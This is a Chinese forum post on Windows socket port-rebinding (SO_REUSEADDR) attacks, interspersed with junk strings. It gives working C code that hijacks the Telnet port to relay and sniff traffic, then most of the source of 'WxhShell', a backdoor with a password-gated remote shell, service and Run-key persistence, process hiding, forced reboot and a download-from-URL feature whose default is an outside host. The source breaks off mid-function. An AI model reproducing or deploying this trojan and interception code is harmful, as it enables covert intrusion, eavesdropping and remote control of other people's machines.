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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u rGk_.f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5j(3pV`_  
y w"Tw  
  saddr.sin_family = AF_INET; !\{&^,y  
4Q0@\dR9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $YDZtS&h  
@g|E b}t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S@suPkQ<>  
wn*z*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N*t91 X  
e2#"o{+@  
  这意味着什么?意味着可以进行如下的攻击: >:l; W4j  
oo\0X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YJgw%UVJ5m  
JL~QE-pvD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b`Wn98s  
z-G|EAON"/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  & y1' J  
$cO"1mu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aubmA0 w  
<}pwFl8C)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 % '>S9Ja3  
!O$*/7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7I;Give{  
66\0JsT?3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ld1t1'I'  
DQg:W |A  
  #include xG<H${ k;  
  #include |(Zv g}c_  
  #include u>;#.N/  
  #include    S=O/W(ZB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T:0X-U  
  int main() 2G"mm (   
  { gnbs^K w  
  WORD wVersionRequested; .vRLK  
  DWORD ret; ? WWnt^  
  WSADATA wsaData; Kq/W-VyGh  
  BOOL val; ]UnZc  
  SOCKADDR_IN saddr; mwFI89J'  
  SOCKADDR_IN scaddr; "Kk3#  
  int err; 8F0+\40  
  SOCKET s; fk!wq. a  
  SOCKET sc; 8VvoPlo  
  int caddsize; L K9vvQz  
  HANDLE mt; ] *{QVn(  
  DWORD tid;   hCO*gtA)M  
  wVersionRequested = MAKEWORD( 2, 2 ); oS)0,p  
  err = WSAStartup( wVersionRequested, &wsaData ); Egt;Bj#%  
  if ( err != 0 ) { x8p#WB  
  printf("error!WSAStartup failed!\n"); 9vL`|`Vau  
  return -1; G8`q-B}q  
  } _<5o1  
  saddr.sin_family = AF_INET; ;VS;),h/  
   <FH3 ePz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bG +p  
'#<?QE!d2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \()\pp~4  
  saddr.sin_port = htons(23); z Q NL){  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )8oI  s  
  { !lE (!d3M  
  printf("error!socket failed!\n"); ,_`\c7@  
  return -1; KdF QlQaj  
  } @Z!leyam  
  val = TRUE; [(tgoh/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tklU zv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IoNZ'g?d  
  { T3['6%  
  printf("error!setsockopt failed!\n"); 3y>.1  
  return -1; , j ,[4^  
  } >H@ dgb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1rC8] M.N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ig1cf9 :  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H;,cUb  
5(>m=ef"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,*0>CBJvv  
  { xk86?2b{)  
  ret=GetLastError(); )8&Q.? T  
  printf("error!bind failed!\n"); EA75 D&>I  
  return -1; _6qf>=qQ`"  
  } 6KhHS@Z  
  listen(s,2); 8E/$nRfO d  
  while(1) AEK* w4  
  { c[<lr  
  caddsize = sizeof(scaddr); [w~teX0!  
  //接受连接请求 7&NRE"?G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e~J% NU'&  
  if(sc!=INVALID_SOCKET) q=bJ9iJsq  
  { <(d ^2-0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oypq3V=5  
  if(mt==NULL) XPzwT2_E  
  { =,-80WNsX  
  printf("Thread Creat Failed!\n"); ".v9#|  
  break; e`R*6^e  
  } .x6*9z#q  
  } +n9&q#ah  
  CloseHandle(mt); +d\"n  
  } 1SkGG0 W  
  closesocket(s); dT,X8 "  
  WSACleanup(); M O* m@  
  return 0; '. atbl  
  }   WKBPqfC  
  DWORD WINAPI ClientThread(LPVOID lpParam) gU>Y  
  { /j -LW1:N  
  SOCKET ss = (SOCKET)lpParam; i1vBg}WHN  
  SOCKET sc; o&*1Mx<+  
  unsigned char buf[4096]; N&S :=x:$S  
  SOCKADDR_IN saddr; 3w {4G<I  
  long num; 0Qw?.#[9  
  DWORD val; &4"(bZ:LO  
  DWORD ret; Q( AOKp,F  
  //如果是隐藏端口应用的话,可以在此处加一些判断  2b1LC!'U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ..<(HH2  
  saddr.sin_family = AF_INET; zDa*n:S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w[PW-m^`  
  saddr.sin_port = htons(23); h'UWf"d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oX3Q9)  
  { nUmA  
  printf("error!socket failed!\n"); ErB6fl  
  return -1; {>QrI4*A  
  } /RmLV  
  val = 100; fLc<}DF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nT|fDD|  
  { JS&l h  
  ret = GetLastError(); S?hM  
  return -1; R9S7p)B  
  } 0g]ABzTn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lDp5aT;DsM  
  { ?xK9  
  ret = GetLastError(); @Z@yI2#e  
  return -1; 5[I> l  
  } <6p{eGAQV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QwOQS %  
  { 6JRee[  
  printf("error!socket connect failed!\n"); /CKkT.Le  
  closesocket(sc); xkUsZ*X8B  
  closesocket(ss); a+\ Gz  
  return -1; ~<v`&Gm?"  
  } M%&`&{  
  while(1) o1zc`Ibd  
  { &xH>U*c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SL%4w<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i-sE\m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xZ`t~4qR  
  num = recv(ss,buf,4096,0); zd#qBj]g  
  if(num>0) <%pi*:E|  
  send(sc,buf,num,0); jE2ziK  
  else if(num==0) J[LGa:``  
  break; _z,/!>J  
  num = recv(sc,buf,4096,0); Y0|~]J(B  
  if(num>0) .vQ2w  
  send(ss,buf,num,0); Yz-b~D/=}  
  else if(num==0) J9poqp@`MG  
  break; MB^ b)\X  
  } $Ae/NwIlc  
  closesocket(ss); Gjy'30IF  
  closesocket(sc); Duptles  
  return 0 ; vU{ZB^+&6o  
  } Dvd.Q/f  
^Po\:x%o  
(nBJ,v)  
========================================================== IeN!nK-  
( Y/ DMQ  
下边附上一个代码,,WXhSHELL :Oq!.uO  
B TcxBh  
========================================================== ~&B_ Bswf  
zKfb  
#include "stdafx.h" rQisk8 %  
*#UDMoz<  
#include <stdio.h> 0C3Yina9 *  
#include <string.h> e5`{*g$i).  
#include <windows.h> A.WJ#1i}E  
#include <winsock2.h> cO(|>&tJ  
#include <winsvc.h> J=4S\0Z*  
#include <urlmon.h> *WX6C("M  
oVC~RKA*  
#pragma comment (lib, "Ws2_32.lib") b;soMilz  
#pragma comment (lib, "urlmon.lib") ctt5t  
;C{ 2*0"H|  
#define MAX_USER   100 // 最大客户端连接数 Ih,~h[  
#define BUF_SOCK   200 // sock buffer kP8Ypw&  
#define KEY_BUFF   255 // 输入 buffer /#>?wy<s ~  
?r'b Z~  
#define REBOOT     0   // 重启 : ] Y=  
#define SHUTDOWN   1   // 关机 lZn <v'y  
gN mp'Lm  
#define DEF_PORT   5000 // 监听端口 B>?. Nr  
-pqShDar|  
#define REG_LEN     16   // 注册表键长度 #XJYkaL  
#define SVC_LEN     80   // NT服务名长度 !xe<@$  
7!MW`L/`  
// 从dll定义API ,dh*GJ{5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PjsQ+5[>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :O//A6 v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s/,St!A 4!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /}M@ @W  
 ZfvFs  
// wxhshell配置信息 uE5kL{Fv  
struct WSCFG { rxa8X wo8  
  int ws_port;         // 监听端口 EWqKd/  
  char ws_passstr[REG_LEN]; // 口令 hrcR"OZ~X  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?c>j^}A/N  
  char ws_regname[REG_LEN]; // 注册表键名 d>vGx  
  char ws_svcname[REG_LEN]; // 服务名 l'3NiIX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2@e<II2ha8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Itz_;+I.Mp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NaVZ)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +;cw<9%0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yj0Ss{Ep  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H3a}`3}U  
{ Ja#pt  
}; aNXu"US+Sp  
%X[|7D-  
// default Wxhshell configuration _Dk;U*2  
struct WSCFG wscfg={DEF_PORT, zD)2af  
    "xuhuanlingzhe", xhqIE3gd  
    1, M}%0=VCY7  
    "Wxhshell", lZ_i~;u4@v  
    "Wxhshell", 37lmB '~  
            "WxhShell Service", YJ!6)d?C.  
    "Wrsky Windows CmdShell Service", oz[E>%  
    "Please Input Your Password: ", \W1?Qc1]  
  1, $,h*xb.  
  "http://www.wrsky.com/wxhshell.exe", t[an,3  
  "Wxhshell.exe" ^$x^JM ]/  
    }; "2=v?,'t  
_/MKU!\l  
// 消息定义模块 `7N[rs9|S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C@Wm+E~;8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B~~rLo:a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ko -<4wu  
char *msg_ws_ext="\n\rExit."; yiI&>J))  
char *msg_ws_end="\n\rQuit."; qvYw[D#.  
char *msg_ws_boot="\n\rReboot..."; !T @|9PCp  
char *msg_ws_poff="\n\rShutdown..."; :5CwRg  
char *msg_ws_down="\n\rSave to "; M>T#MDK\(  
Gm>8= =c  
char *msg_ws_err="\n\rErr!"; Bxm^Arc>  
char *msg_ws_ok="\n\rOK!"; x%x[5.CT  
40q8,M  
char ExeFile[MAX_PATH]; U 2\{ ( y  
int nUser = 0; NO9Jre  
HANDLE handles[MAX_USER]; ;o8cfD.z  
int OsIsNt; ]qv/+~Qs>  
AK [9fxrE  
SERVICE_STATUS       serviceStatus; ADHe! [6q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uMqo)J@s  
jRq>Sz{8  
// 函数声明 "=/XIM.  
int Install(void); 7i/?+|  
int Uninstall(void); (mza&WF7  
int DownloadFile(char *sURL, SOCKET wsh); //6m2a  
int Boot(int flag); y4envjl 0  
void HideProc(void); ~'T]B{.+J  
int GetOsVer(void); C(?lp  
int Wxhshell(SOCKET wsl); `9 $?g|rB  
void TalkWithClient(void *cs); M{z+=c&w  
int CmdShell(SOCKET sock); GbNVcP.ocP  
int StartFromService(void); {d7KJmN  
int StartWxhshell(LPSTR lpCmdLine); 0HG*KW  
q+LjWZ+O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P7@q vg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E[_Z%zd^  
OjZ+gl}  
// 数据结构和表定义 v3aiX  
SERVICE_TABLE_ENTRY DispatchTable[] = Wxp^*._q3I  
{ VMtR4!:q  
{wscfg.ws_svcname, NTServiceMain}, t/q\Ne\\,  
{NULL, NULL} ]A'e+RD4k  
}; nre8 F  
~8|$KD4I  
// 自我安装 ][qZOIk@  
int Install(void) &|9?B!,`  
{ h!)(R<  
  char svExeFile[MAX_PATH]; %7V?7BE  
  HKEY key; jP}N^  
  strcpy(svExeFile,ExeFile); w1s#8:  
?|8H $1  
// 如果是win9x系统,修改注册表设为自启动 2Jj`7VH>  
if(!OsIsNt) { N*o+m~:y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [x)BQX'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @];Xbbw+c  
  RegCloseKey(key); Y @K9Hl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0e/~H^,SQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rg\|-_.es'  
  RegCloseKey(key); }*0%wP  
  return 0; :!aFfb["  
    } rfCoi>{<  
  } *!nS4 [d  
} [vIO  
else { 4NbC V)Dm  
K$K[fcj  
// 如果是NT以上系统,安装为系统服务 5Pv>`E2^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7f 7*id  
if (schSCManager!=0) 8@Y@5)Oc  
{ 9N u;0  
  SC_HANDLE schService = CreateService bg 7b!t1F  
  ( g[Yok` e[  
  schSCManager, geT<vh Z6  
  wscfg.ws_svcname, vguqk!eo4  
  wscfg.ws_svcdisp, |r3eq4$Am  
  SERVICE_ALL_ACCESS, ~%GUc ~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5a_K|(~3I  
  SERVICE_AUTO_START, _39b8s {  
  SERVICE_ERROR_NORMAL, 1M<'^(t3d  
  svExeFile, cvc.-7IO  
  NULL, 'MC) %N,  
  NULL, j[=f;&1  
  NULL, 9N-mIGJ  
  NULL, LWIU7dw  
  NULL jPbL3"0A&  
  ); [ 9$>N  
  if (schService!=0) 5@Rf]'1B0  
  { 0ED(e1K#B  
  CloseServiceHandle(schService); wGbD%=  
  CloseServiceHandle(schSCManager); 7AtJ6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7Qq>?H -  
  strcat(svExeFile,wscfg.ws_svcname); b},OCVT?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &uk?1Z#j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W]reQ&<Z  
  RegCloseKey(key); w+ _'BU1#  
  return 0; rKR<R(=!=  
    } 2M|jWy_  
  } L x(Y=  
  CloseServiceHandle(schSCManager); >\VZ9bP<   
} ,"*[T\u  
} qt3 \*U7x  
L18Olu  
return 1; @n})oAC,  
} w`i3B@w  
b}k`'++2,  
// 自我卸载 @dO~0dF  
int Uninstall(void) Na [bCt  
{ "esV#%:#J  
  HKEY key; iUSs)[]H>  
*UEo&B2+  
if(!OsIsNt) { < v0 d8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :a`l_RMU  
  RegDeleteValue(key,wscfg.ws_regname); b/2t@VlL  
  RegCloseKey(key); _D z4 }:9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q?\3m3GM  
  RegDeleteValue(key,wscfg.ws_regname); v bh\uv&  
  RegCloseKey(key); /A{znE  
  return 0; !o> /gI`  
  } u QCQ$  
} ;:' A{&0N  
} PBkKn3P3  
else { 5w{_WR6,  
]k>S0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6B|IbQ^  
if (schSCManager!=0) Q2iu}~  
{ Rrk3EL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -S9$C*t  
  if (schService!=0) xNl_Q8Z?R^  
  { UJlKw `4  
  if(DeleteService(schService)!=0) { %hOe `2#$  
  CloseServiceHandle(schService); 6kYn5:BhIi  
  CloseServiceHandle(schSCManager); (}c}=V  
  return 0; `ZNz Dr  
  } M-0BQs`N  
  CloseServiceHandle(schService); v')T^b F@  
  } Ue~M .LZb  
  CloseServiceHandle(schSCManager); |?{Zx&yUw  
} @u$4{sjgf\  
} /|hKZTZJdN  
_H@S(!  
return 1; opdi5 e)jK  
} V"\t  
.y[=0K:  
// 从指定url下载文件 WM*7p;t@)  
int DownloadFile(char *sURL, SOCKET wsh) qDL9  
{ H@ MUzV  
  HRESULT hr; oGXT,38*  
char seps[]= "/"; s6!aGZ  
char *token; 3X%>xUI  
char *file; hb[K.`g  
char myURL[MAX_PATH]; CCQ<.iCU  
char myFILE[MAX_PATH]; I?5#Q0,b  
;pS Wu9  
strcpy(myURL,sURL); >CNH=  
  token=strtok(myURL,seps); 42X[Huy]  
  while(token!=NULL) 2z&HT SI  
  { m!w(Q+*j  
    file=token; JAc-5e4  
  token=strtok(NULL,seps); \%rX~UhZ=  
  } 9?@M Zh  
-:>Mi5/ s  
GetCurrentDirectory(MAX_PATH,myFILE); *7DQ#bD  
strcat(myFILE, "\\"); 0FHN  
strcat(myFILE, file); .gx*gX1<  
  send(wsh,myFILE,strlen(myFILE),0); p \F*Y,4  
send(wsh,"...",3,0); :/d#U:I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #L[Atx  
  if(hr==S_OK) l.Qj?G  
return 0; YzsHec  
else @ L?7` VoE  
return 1; 7$}lkL  
$)z(4Ev  
} K^?/  
|*jnJWH4:  
// 系统电源模块 ~ b\bpu  
int Boot(int flag) ,Q2`N{f  
{ .kGg }  
  HANDLE hToken; <.+hV4,3  
  TOKEN_PRIVILEGES tkp; lc#su$xR>  
FL"7u2rh,  
  if(OsIsNt) { "J3@Z,qW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;NB J@E,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jQ(qaX&  
    tkp.PrivilegeCount = 1; d5UdRX]*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9xN4\y6F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fdzs Wm  
if(flag==REBOOT) { U''/y\Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mGwB bY+5n  
  return 0; 7WKb| /#;  
} _}{C?611c  
else { .$L'Jt2X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p.gi8%f`  
  return 0; i|y8n7c  
} @e3O=_m-  
  } 8v5cQ5Lc  
  else { ##EMJi  
if(flag==REBOOT) { [f&ja[m q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *Xn{{  
  return 0; *oKc4S+  
} b~WiE?  
else { bK<'J=#1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rs8^ 27  
  return 0; gW$X8ECX  
} `o)rAD^e  
} %N=-i]+Id  
oj;Rh!O  
return 1; C`%cPl  
} m\O<Yc keA  
6;"jq92in*  
// win9x进程隐藏模块 R>BnUIu  
void HideProc(void) -5\hZ!!J2  
{ ^fQ ]>/u  
_>S."cm}!k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pmv;M`_|R  
  if ( hKernel != NULL ) iQ~;to;Y  
  { D/5 ah_;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .|G([O^H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vB hpD  
    FreeLibrary(hKernel); 4&Y{kNF  
  } OB.TAoH:  
\U\ W Q  
return; 6f v{?0|  
} -M/DOTc  
DW\';"  
// 获取操作系统版本 ~Uz,%zU#3  
int GetOsVer(void) B>AmH%f/  
{ [D=ba=r0X  
  OSVERSIONINFO winfo; j(AN] g:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); " ;8H;U`  
  GetVersionEx(&winfo); ]p:s5Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \L($;8` \  
  return 1; /5b,&  
  else om@GH0o+  
  return 0; Z@4 BTA  
} 'avzESe~'  
S%uwQ!=O8  
// 客户端句柄模块 *9Ej fs7L  
int Wxhshell(SOCKET wsl) ]+@@{?0  
{ Bvk 8b  
  SOCKET wsh; s{#rCc)  
  struct sockaddr_in client; P+tRxpz  
  DWORD myID; 8eCC =Az:  
JPJ&k( P  
  while(nUser<MAX_USER) IH(]RHTp%  
{ >> yK_yg  
  int nSize=sizeof(client); F%Oy4*4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yr8 b?m.x  
  if(wsh==INVALID_SOCKET) return 1; &66-0d+Sh  
!YYI{BJ7:N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); He @d~9M  
if(handles[nUser]==0) =4+Wx8ZeW  
  closesocket(wsh); :08b&myx  
else l|TiUjs  
  nUser++; 6jyS]($q  
  } Kx==vq%39  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >c %*:a  
qS1byqq78l  
  return 0; o/??w:'  
} xn|M]E1)  
"ld4v+o8l  
// 关闭 socket 9ozN$:  
void CloseIt(SOCKET wsh) G0 *>S`:4  
{ |h}/#qhR  
closesocket(wsh); ]06orBV  
nUser--; uJhB>/Og  
ExitThread(0); " iAwD8-  
} }22h)){n#Y  
V9  Z  
// 客户端请求句柄 W/e6O??O  
void TalkWithClient(void *cs) ~U"puEftbs  
{ b/"&E'5-`\  
"V|&s/9  
  SOCKET wsh=(SOCKET)cs; StZ GKY[Q  
  char pwd[SVC_LEN]; mu`:@7+Yp  
  char cmd[KEY_BUFF]; NNDW)@p6z  
char chr[1]; }h{8i_R  
int i,j; {HoeK>rd  
YytO*^e}}  
  while (nUser < MAX_USER) { m/TjXA8_  
e x" E50  
if(wscfg.ws_passstr) { L{PH8Xl_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IP<]a5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >(T)9fKF  
  //ZeroMemory(pwd,KEY_BUFF); ?D[9-K4Vn  
      i=0; X^Dklqqy  
  while(i<SVC_LEN) { nSR7$yS_  
9=RfGx  
  // 设置超时 A:Y ([  
  fd_set FdRead; +8p4\l$<`  
  struct timeval TimeOut; p SMF1Oy  
  FD_ZERO(&FdRead); FLf< gz  
  FD_SET(wsh,&FdRead); A<$~Q;r2a  
  TimeOut.tv_sec=8; &=ZVU\o:  
  TimeOut.tv_usec=0; dZMf5=tb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3(&f!<Uy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <cig^B{nX  
_TLB1T^/4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ArK%?*`5  
  pwd=chr[0]; *BdKQ/Dk  
  if(chr[0]==0xd || chr[0]==0xa) { f%ThS42  
  pwd=0; TjDDvXY  
  break; _`|te|ccF  
  } MuI>ZoNF  
  i++; #^FDG1=  
    }  Q6qIx=c4  
dC,a~`%O  
  // 如果是非法用户,关闭 socket 4zo^ b0v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GQ -fEIi{  
} ]]"O)tWHj  
^qR2!fwm<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^\"@r%|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,/%@:Fh4  
SHcFnxEAIH  
while(1) { 9Su4nt`i  
FUTD/y]Lu  
  ZeroMemory(cmd,KEY_BUFF); u([|^~H]  
tRC*@>I$  
      // 自动支持客户端 telnet标准   Dt]N&E#\D  
  j=0; A  [c1E[  
  while(j<KEY_BUFF) { `PoFKtVX M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9I1D'7wI^^  
  cmd[j]=chr[0];  Q{K '#  
  if(chr[0]==0xa || chr[0]==0xd) { O %m\ Q1  
  cmd[j]=0; "39\@Ow  
  break; AT{rg/oSf  
  } >v?&&FhHK<  
  j++; "O (N=|b  
    } sd m4zV]&  
),!1B%  
  // 下载文件 H\vd0DD;  
  if(strstr(cmd,"http://")) { [uLwr$N<%L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NP#6'eH\  
  if(DownloadFile(cmd,wsh)) Q%T[&A}3B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #OMFv.  
  else k.5(d.*(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I,8f{T!O@"  
  } v w  
  else { %noByq,?  
6, ~Y(#  
    switch(cmd[0]) { BG&XCn5g|  
  VY1&YR}Y  
  // 帮助 ,h<xL-  
  case '?': { kN~:Bh$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d}:eLC  
    break; <6rc 8jYz  
  } [aS<u`/g|  
  // 安装 R]LuZN  
  case 'i': { fFe{oR   
    if(Install()) C0`Bi:Ze  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zhdS6Gk+  
    else $S6%a9m   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gfr+`4H>v  
    break; (/ qOY  
    } x$L(!ZDh  
  // 卸载 (&osR|/Tq  
  case 'r': { jL6ZHEi#d7  
    if(Uninstall()) _TbQjE&6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~NV 8avZ  
    else *Ei(BrL/;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o'?[6B>oj  
    break; m%s&$  
    } c>b!{e@*  
  // 显示 wxhshell 所在路径 ZZ*+Tl\ s  
  case 'p': { Q1[3C(  
    char svExeFile[MAX_PATH]; b0| ;v-v  
    strcpy(svExeFile,"\n\r"); ASU.VY  
      strcat(svExeFile,ExeFile); ou\M}C`E  
        send(wsh,svExeFile,strlen(svExeFile),0); b/soU2?^  
    break; V<A$eb>6  
    } \ 9!hg(-F  
  // 重启 -_?U/k(Hi  
  case 'b': { x>!bvZ2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 23p1Lb9P  
    if(Boot(REBOOT)) ~W..P:wG5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DQI b57j  
    else { ;R[w}#Sm  
    closesocket(wsh); Z<IN>:l  
    ExitThread(0); x@LNjlP  
    } "tF#]iQQ u  
    break; MBn ZO  
    } xg;I::hE7X  
  // 关机 FQh8(^(  
